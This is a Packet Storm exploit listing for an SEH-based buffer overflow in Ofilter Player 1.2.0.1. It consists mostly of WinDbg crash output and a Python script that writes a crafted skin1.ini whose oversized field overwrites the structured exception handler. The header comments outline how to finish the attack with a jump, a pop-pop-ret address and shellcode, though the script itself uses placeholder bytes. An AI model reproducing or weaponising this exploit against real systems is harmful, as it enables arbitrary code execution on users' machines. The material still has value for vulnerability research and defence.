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Ofilter Player 1.2.0.1 Buffer Overflow

🗓️ 12 Sep 2013 00:00:00Reported by gunslingerType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

Ofilter Player 1.2.0.1 Buffer Overflow - SEH Base

Code
`# Exploit Title : Ofilter Player Version 1.2.0.1 - (skin1.ini) - SEH Based Buffer Overflow PoC  
# Date : 12-09-2013  
# Exploit Author : gunslinger_ <yuda at cr0security.com>  
# Author Homepage : http://www.cr0security.com  
# Software Link : http://download.cnet.com/Ofilter-Player/3000-2139_4-78232.html  
# Price : Free to try; $19.99 to buy  
# Version : 1.2.0.1 (Probably old version of software and the LATEST version too)  
# Vendor : DigitByte Studio  
# Vendor Homepage : http://www.008soft.com/  
# Tested on : Windows XP SP3  
#============================================================================================  
# Ofilter Player is Prone to a SEH based Buffer Overflow which allows attacker to execute arbitary code on the victim's machine.  
# To trigger the vulnerability the attacker must rewrite file skin1.ini inside /skin folder on Ofilter Player installed folder.  
# Then run Ofilter Player, and EIP will be overwritten with the SEH address when the program initialize to read variable from skin1.ini file (see debug result below).  
# The Exploit will look like this : [Junk "A" x 360] [6 Bytes Jump + 2Nops ] [pop pop ret address / others] [Shellcode] .  
# Crash Triggered + Seh Overwritten .  
#============================================================================================  
#!/usr/bin/python  
'''  
0:000> g  
ModLoad: 773d0000 774d3000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\comctl32.dll  
ModLoad: 5ad70000 5ada8000 C:\WINDOWS\system32\uxtheme.dll  
(658.3f0): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=0000018c ebx=00000000 ecx=41414141 edx=0012df77 esi=00000171 edi=00000171  
eip=0040161d esp=0012ddc4 ebp=0012df08 iopl=0 nv up ei pl nz na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206  
*** WARNING: Unable to verify checksum for image00400000  
*** ERROR: Module load completed but symbols could not be loaded for image00400000  
image00400000+0x161d:  
0040161d 8b41f4 mov eax,dword ptr [ecx-0Ch] ds:0023:41414135=????????  
0:000> g  
(658.3f0): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=00000000 ebx=00000000 ecx=bbbbbbbb edx=7c9032bc esi=00000000 edi=00000000  
eip=bbbbbbbb esp=0012d9f4 ebp=0012da14 iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
bbbbbbbb ?? ???  
0:000> !exchain  
0012da08: ntdll!ExecuteHandler2+3a (7c9032bc)  
0012df54: bbbbbbbb  
Invalid exception stack at cccccccc  
'''  
from struct import pack  
filename = "skin1.ini"  
junk = "\x41" * 360  
nextSEH = "\xcc\xcc\xcc\xcc"   
SEH = "\xbb\xbb\xbb\xbb"  
  
trigger_seh = junk + nextSEH + SEH  
  
ini_content = """[BACKGROUND]  
Mask=GoldMask.bmp  
Main=GoldMain.bmp  
Selected=GoldSelected.bmp  
Over=GoldOver.bmp  
Disabled=GoldDisable.bmp  
  
[BUTTON]  
1=ID_FILE_EXIT,273,10,9,9,Exit,FALSE  
2=ID_BUTTON_MINIMIZE,261,10,9,9,MINIMIZE,FALSE  
3=IDC_BUTTON1_FILELIST_LOOP,229,85,42,21,FILE,FALSE  
4=ID_JUMP_FORWARD,103,91,16,15,Skip Forward,FALSE  
5=ID_PLAYBACK_NEXTCHAPTER,119,91,16,15,Next,FALSE  
6=ID_PLAYBACK_PREVIOUSCHAPTER,23,91,16,15,Previous,FALSE  
7=ID_PLAYBACK_STOP,86,91,17,15,Stop,FALSE  
8=ID_PLAYBACK_PAUSE,71,91,15,15,Pause,FALSE  
9=ID_PLAYBACK_PLAY,53,91,18,15,Play,FALSE  
10=ID_JUMP_BACKWARD,38,91,15,15,Skip Backward,FALSE  
11=ID_FILE_SELECTDISC,145,85,41,21,Open Media Files,FALSE  
12=ID_WEBSITE,117,8,69,16,Website,FALSE  
13=%s,186,85,42,21,Open VCD,FALSE  
14=ID_POPUP_HELP,251,10,9,9,Popup,FALSE  
  
[TRACKBARINFO]  
1=IDC_SLIDER1_PLAYBACK_POSITION,Goldbutton1.bmp,Goldbutton1.bmp,23,69,247,6,H,100  
2=IDC_SLIDER1_VOLUME,Goldbutton2.bmp,Goldbutton2.bmp,23,79,113,6,H,100  
  
[PLAY]  
1=ID_PLAYBACK_TIME,Arial,TRUE,TRUE,-14,32768,100,43,160,16,  
2=PLAY,Arial,TRUE,TRUE,-14,32768,34,43,50,16,10""" % (trigger_seh)  
  
textfile = open(filename , 'wb')  
textfile.write(ini_content)  
textfile.close()  
`

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